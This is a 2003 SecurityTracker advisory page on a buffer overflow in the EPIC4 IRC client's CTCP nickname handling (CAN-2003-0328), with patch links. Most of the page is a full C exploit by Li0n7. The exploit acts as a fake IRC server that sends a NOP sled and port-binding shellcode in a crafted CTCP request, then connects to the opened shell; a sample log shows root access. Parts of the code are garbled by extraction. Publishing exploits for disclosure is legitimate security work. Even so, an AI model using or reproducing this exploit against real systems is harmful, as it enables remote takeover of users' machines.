SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Generic)  >  EPIC4 Vendors:  EPIC Project
(Exploit is Available) Re: EPIC4 Buffer Overflow in Processing CTCP Nicknames May Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1008317
CVE Reference:  CAN-2003-0328   (Links to External Site)
Date:  Nov 27 2003
Impact:  Denial of service via network, Execution of arbitrary code via network, User access via network
Fix Available:  Yes   Exploit Included:  Yes   Vendor Confirmed:  Yes  
Version(s): epic4pre2.002, epic4pre2.003 and later versions
Description:  A vulnerability was reported in EPIC4 in the processing of large nicknames. A remote user acting as an IRC server can cause a connected client to crash and potentially execute arbitrary code.

It is reported that an incorrect length calculation in 'ctcp.c' can be triggered by a remote IRC server sending a CTCP request with a large nickname (greater than approximately 512 bytes), causing EIPC4 to call the alloca() function with a negative value. As a result, an invalid pointer will be returned and memory contents will be overwritten.

A remote user can cause arbitrary code to be executed with the privileges of the EPIC4 client user, according to the report.

Li0n7 provided some demonstration exploit code, available in the Source Message.

Impact:  A remote IRC server can execute arbitrary code on a connected EPIC4 client system with the privileges of the target EPIC4 client user.
Solution:  A fix is available (since May 2003) via CVS:

http://cvs.prbh.org/cgi/viewcvs.cgi/epic4/

A patch is also available at:

ftp://ftp.prbh.org/pub/epic/patches/alloca_underrun-patch-1

Vendor URL:  www.epicsol.org/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Linux (Any), UNIX (Any)
Reported By:  <Li0n7@voila.fr>
Message History:   This archive entry is a follow-up to the message listed below.
Nov 10 2003 EPIC4 Buffer Overflow in Processing CTCP Nicknames May Let Remote Users Execute Arbitrary Code



 Source Message Contents

Date:  26 Nov 2003 22:19:49 -0000
From:  <Li0n7@voila.fr>
Subject:  EPIC4 remote client-side stack-based overflow(exploit)

 



/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as 
 * maximum data lenght to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer written
 * at *putbuf2 address without any boundary checking, we can easily execute
 * arbitrary code.
 * 
 * This little proof-of-concept code demonstrates the exploitation of the
 * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
 *
 * This exploit works as a fake IRC server, waiting for connection and then
 * trying to take advantage of the vulnerabilty by sending a specially CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to be
 * really efficient. 
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 *      -p: wait for connection on port <PORT>
 *      -t: choose the target among the platforms available
 *      -f: use <FILE> datas as welcome message
 *      -r: use <RET> as return address
 *
 *
 *$ ./epic4-exp -p 6667 -t 0 -v
 *[+] Setting up a fake IRC server...
 *[+] Awaiting connection on port 6667
 *[!] Connection established with 127.0.0.1
 *
 *[127.0.0.1] USER request received.
 *[127.0.0.1] NICK request received.
 *[127.0.0.1] Fake replies sent.
 *[127.0.0.1] Ping sent.
 *[127.0.0.1] Looking up client version...
 *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
 *[127.0.0.1] Welcome message sent.
 *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
 *[127.0.0.1] Evil CTCP request sent.
 *
 *[+] Let's rock on!
 *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 */





#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define D_BACK       26112
#define D_RET        0xbfffd06b               
#define D_PORT       6667

#define HOSTNAME     ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT        ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND   ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING         "PING :571503427\r\n"

#define BUFFERSIZE   602
#define SIZE         1024

char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";


int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);

unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;

struct os_ret_addr
 
      int num;
      char *plat;
      long ret;
};

struct os_ret_addr exp_os[]=
 
      {0,"slack 9.0",0xbfffd06b},
      {0,NULL,0}
};

int
main(int argc,char *argv[])
 
      int i, option, port = D_PORT;
      long host = 0;
      char * option_list = "f:p:r:t:v", buffer[SIZE+1];

      opterr = 0;
      memset(welcome,0,128);

      if (argc < 2) die(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'f':
                  strncpy(welcome,optarg,sizeof(welcome)-1);
                  welcome[sizeof(welcome)-1] = '\0';
                  break;
              case 'p':
                  port = atoi(optarg); 
                  if(port > 65535 || port < 0) exit(-1);  
                  break;
              case 'r':
                  ret_addr = atol(optarg);
                  if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
                  break;
              case 't':
                  for(i=0; exp_os[i].plat != NULL; i++)
                  if(atoi(optarg) > i || atoi(optarg) < 0)
                  { 
                      fprintf(stderr," Platforms supported are:\n");
                      for(i=0; exp_os[i].plat != NULL; i++)
                          fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i
].ret); exit(0); } ret_addr = exp_os[atoi(optarg)].ret; break; case 'v': check_version = 1; break; case '?': fprintf(stderr,"[-] option \'%c\' invalid\n",optopt); die(argv[0]); } wait_connection(port,buffer); return 0; char *build(char *host) { char *buffer,*ptr,*request,*ret; int i; unsigned long *addr_ptr; fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret
_addr); buffer = (char *)malloc(BUFFERSIZE+1); request = (char *)malloc(SIZE+1); ret = (char *)malloc(256); if(!buffer || !request || !ret) { fprintf(stderr,"[-] Can't allocate memory,exiting...\n"); exit(0); } ptr = buffer; memset(ptr,0x90,BUFFERSIZE); ptr += 500-strlen(shellcode); for(i=0;i<strlen(shellcode);i++) *ptr++ = shellcode[i]; ptr += 102; *ptr = 0x0; ptr = ret; addr_ptr = (long *)ptr; for(i=0;i<151;i+=4) *(addr_ptr++) = ret_addr; ptr = (char *)addr_ptr; *ptr = 0x0; snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01); return request; int back_connection(long host) struct sockaddr_in s; u_char sock_buf[4096]; fd_set fds; int fd,size; char *command="/bin/uname -a ; /usr/bin/id;\n"; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } s.sin_family = AF_INET; s.sin_port = htons(D_BACK); s.sin_addr.s_addr = host; if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1) { fprintf(stderr,"[-] %s\n",strerror(errno)); close(fd); exit(0); } fprintf(stdout, "\n[+] Let's rock on!\n"); size = send(fd, command, strlen(command), 0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); close(fd); exit(0); } for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(fd, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { fprintf(stderr,"[-] %s\n",strerror(errno)); close(fd); exit(0); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(fd, &fds)) { if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1) { fprintf(stderr, "[-] Connection closed by remote host,exiting...\n"); close(fd); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) { read(0, sock_buf, sizeof(sock_buf)); write(fd, sock_buf, strlen(sock_buf)); } } return 0; char * build_welcome_mes(char *host,char *version) FILE *fd; char *buffer,*file_buffer; buffer = (char *)malloc(1024); file_buffer = (char *)malloc(512); if(!buffer) { fprintf(stderr,"[-] Can't allocate memory,exiting...\n"); exit(0); } if(strlen(welcome) > 0) { fd = fopen(welcome,"r"); if(fd < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } memset(buffer,0,1024); while(1) { if(fgets(file_buffer,512,fd) == NULL) break; strncat(buffer,file_buffer,1021); } fclose(fd); strcat(buffer,"\r\n"); }else{ snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n" ": NOTICE AUTH :*** Your host is %s, running client %s\n" ": NOTICE AUTH :*** This server was created in the past\n" ": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers
\n" ": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host
,version); } return buffer; void send_mes(int fd,char *host) int size; char buffer[1024],data[1024],request[512],version[512]; char *ptr; size = send(fd,HOSTNAME,strlen(HOSTNAME),0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } sleep(1); size = send(fd,IDENT,strlen(IDENT),0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } sleep(1); size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } sleep(1); fprintf(stdout,"[%s] Fake replies sent.\n",host); size = send(fd,PING,strlen(PING),0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } fprintf(stdout,"[%s] Ping sent.\n",host); size = read(fd,data,1024); if(strstr(data,"PONG")) { if(check_version) { memset(version,0,512); memset(request,0,512); fprintf(stdout,"[%s] Looking up client version...\n",host); sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01); size = send(fd,request,strlen(request),0); if(size < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } memset(data,0,1024); while(1) { size = read(fd,data,1024); if((ptr = strstr(data,"VERSION ")) != NULL) { memset(version,0,512); strncpy(version,ptr+8,sizeof(version)-1); version[sizeof(version)-1] = '\0'; fprintf(stdout,"[%s] Client version: %s",host,version); sleep(3); break; } } } strncpy(buffer,build_welcome_mes(host,version),1023); buffer[1023] = '\0'; size = send(fd,buffer,1024); fprintf(stdout,"[%s] Welcome message sent.\n",host); sleep(1); memset(buffer,0,1024); strncpy(buffer,build(host),1023); buffer[1023] = '\0'; size = send(fd,buffer,1024); sleep(1); fprintf(stdout,"[%s] Evil CTCP request sent.\n",host); } return; void wait_connection(int port,char *buffer) { struct sockaddr_in s; int size, fd, fd2, r; char data[1024], nick[512], user[512]; char *ptr; long host = 0; memset(data,0,1024); fprintf(stdout,"[+] Setting up a fake IRC server...\n"); fd = socket(AF_INET,SOCK_STREAM,0); if(fd < 0) { fprintf(stderr,"[-] %s\n",strerror(errno)); exit(0); } s.sin_port = htons(port); s.sin_addr.s_addr = 0; s.sin_family = AF_INET; bind(fd,(struct sockaddr *) &s,sizeof(s)); listen(fd,1); size = sizeof(s); fprintf(stdout,"[+] Awaiting connection on port %i\n",port); while(1) { fd2 = accept(fd,(struct sockaddr *) &s, &size); fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr)); if(!fork()) { close(fd); while(1) { memset(data,0,1024); r = read(fd2,data,1024); if((ptr = strstr(data,"USER ")) != NULL) { memset(user,0,512); strncpy(user,ptr+5,sizeof(user)-1); user[sizeof(user)-1] = '\0'; fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr))
; } if((ptr = strstr(data,"NICK ")) != NULL) { memset(nick,0,512); strncpy(nick,ptr+5,sizeof(nick)-1); nick[sizeof(nick)-1] = '\0'; fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr))
; } if((strlen(nick) > 0) && (strlen(user) > 0)) break; } send_mes(fd2,inet_ntoa(s.sin_addr)); back_connection(host); } close(fd2); } return; long resolve_host(u_char *host_name) struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); void die(char *argv) fprintf(stderr," remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n"); fprintf(stderr," vulnerability reported by Stuart Moore <smoore@securityglobal.net>
\n"); fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv); fprintf(stderr,"\t -p: wait for connection on port <PORT>\n"); fprintf(stderr,"\t -t: choose the target among the platforms available\n"); fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n"); fprintf(stderr,"\t -r: use <RET> as return address\n\n"); exit(0); /* A poil! */


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2003, SecurityGlobal.net LLC